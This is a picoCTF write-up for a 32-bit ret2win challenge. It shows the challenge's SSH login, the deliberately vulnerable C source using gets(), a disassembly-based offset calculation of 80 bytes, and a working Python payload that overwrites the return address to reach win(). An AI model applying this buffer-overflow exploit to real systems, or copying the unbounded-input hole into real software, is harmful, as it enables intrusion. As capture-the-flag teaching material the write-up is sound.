offset-cycle Writeup
picoCTF Offset Cycle writeup solving a binary exploitation challenge involving cyclic offset calculation and return address control.
Contents
offset-cycle Writeup
Challenge
SSH target:
ssh -p 59476 ctf-player@green-hill.picoctf.net
Password:
83dcefb7
Goal
Exploit the generated SUID binary within 120 seconds and recover the flag.
Remote Setup
After logging in, the home directory contained:
instructions.txtstartCodeBank/(not directly readable)
The instructions explained the flow:
- Run
./start - It copies a generated C source file and compiled binary into the current directory
- The files are deleted after 120 seconds
- If the binary is exploited in time, it reveals the flag
Generated Instance
Running ./start produced:
11.c11
The generated C source was:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "CodeBank/asm.h"
#define BUFSIZE 68
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("CodeBank/flag.txt","r");
if (f == NULL) {
printf("%s %s", "You may not have plenty of time",
"to solve the challenge.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
Vulnerability
This is a classic ret2win challenge:
gets(buf)allows unbounded stack inputwin()prints the flag fromCodeBank/flag.txt- the binary is 32-bit and non-PIE, so the
win()address is fixed
Security properties of the generated binary:
Arch: i386
RELRO: Partial RELRO
Canary: No
NX: Stack executable
PIE: No
Stripped: No
Important Addresses
From nm -n 11:
080491f6 T win
08049281 T vuln
080492c4 T main
So the target address was:
win = 0x080491f6
Offset Calculation
At first glance the source suggests:
buf[68]- saved
ebp= 4 bytes - return address after 72 bytes
But the compiled binary had extra stack layout due to a saved ebx.
Disassembly of vuln:
08049281 <vuln>:
push ebp
mov ebp, esp
push ebx
sub esp, 0x54
...
lea eax, [ebp-0x4c]
push eax
call gets
...
leave
ret
The buffer starts at ebp-0x4c.
Distance from ebp-0x4c to saved return address at ebp+4:
0x4c + 0x4 = 0x50 = 80 bytes
So the correct overwrite offset is:
80
Exploit
Payload structure:
"A" * 80 + p32(0x080491f6)
One-liner used on the remote host:
python3 - <<'PY' | ./11
import sys, struct
payload = b'A'*80 + struct.pack('<I', 0x080491f6)
sys.stdout.buffer.write(payload)
PY
Result
The binary returned into win() and printed:
picoCTF{<redacted>}
Final Answer
Flag:
picoCTF{<redacted>}
Takeaway
The only real pitfall was trusting the C source buffer size too literally. The generated 32-bit function saved ebx, which shifted the real return-address offset from 72 to 80. Once the compiled stack frame was checked, the exploit was a direct ret2win.